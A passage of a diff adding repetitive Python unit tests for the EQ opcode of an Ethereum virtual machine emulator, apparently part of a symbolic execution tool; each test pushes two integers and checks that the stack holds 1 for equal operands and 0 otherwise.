+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
